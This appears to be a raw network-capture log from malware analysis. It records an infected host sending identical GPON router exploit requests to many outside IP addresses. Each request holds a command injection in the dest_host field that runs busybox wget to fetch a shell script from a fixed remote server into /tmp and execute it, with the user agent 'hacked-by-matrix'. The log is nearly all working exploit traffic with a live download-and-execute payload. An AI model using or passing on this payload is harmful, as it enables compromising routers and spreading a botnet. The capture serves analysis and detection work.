Mar 21, 2024 05:23:18.749937057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1474	192.168.2.13	59760	5.164.135.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749960899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1475	192.168.2.13	58844	118.199.3.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749963999 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1476	192.168.2.13	34874	118.143.208.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749969959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1477	192.168.2.13	33864	42.56.105.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749979973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1478	192.168.2.13	33592	42.222.5.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749986887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1479	192.168.2.13	59014	42.206.91.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749988079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1480	192.168.2.13	41932	5.189.12.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749989033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1481	192.168.2.13	50984	5.223.66.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750016928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1482	192.168.2.13	51322	5.69.203.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750025988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1483	192.168.2.13	35848	118.210.5.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750040054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1484	192.168.2.13	40912	212.41.0.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750070095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1485	192.168.2.13	41026	212.13.227.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750092983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1486	192.168.2.13	34380	212.197.102.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750113964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1487	192.168.2.13	56788	42.40.165.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750124931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1488	192.168.2.13	38960	109.240.125.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750147104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1489	192.168.2.13	37276	42.132.143.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750153065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1490	192.168.2.13	57140	5.148.125.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750154972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1491	192.168.2.13	59374	118.102.108.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750176907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1492	192.168.2.13	49660	212.95.117.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750183105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1493	192.168.2.13	53712	5.11.116.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750199080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1494	192.168.2.13	36082	118.69.52.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750205994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1495	192.168.2.13	59640	42.183.28.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750216007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1496	192.168.2.13	46104	109.58.141.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750225067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1497	192.168.2.13	54860	118.204.250.76	443

Timestamp	Bytes transferred	Direction	Data
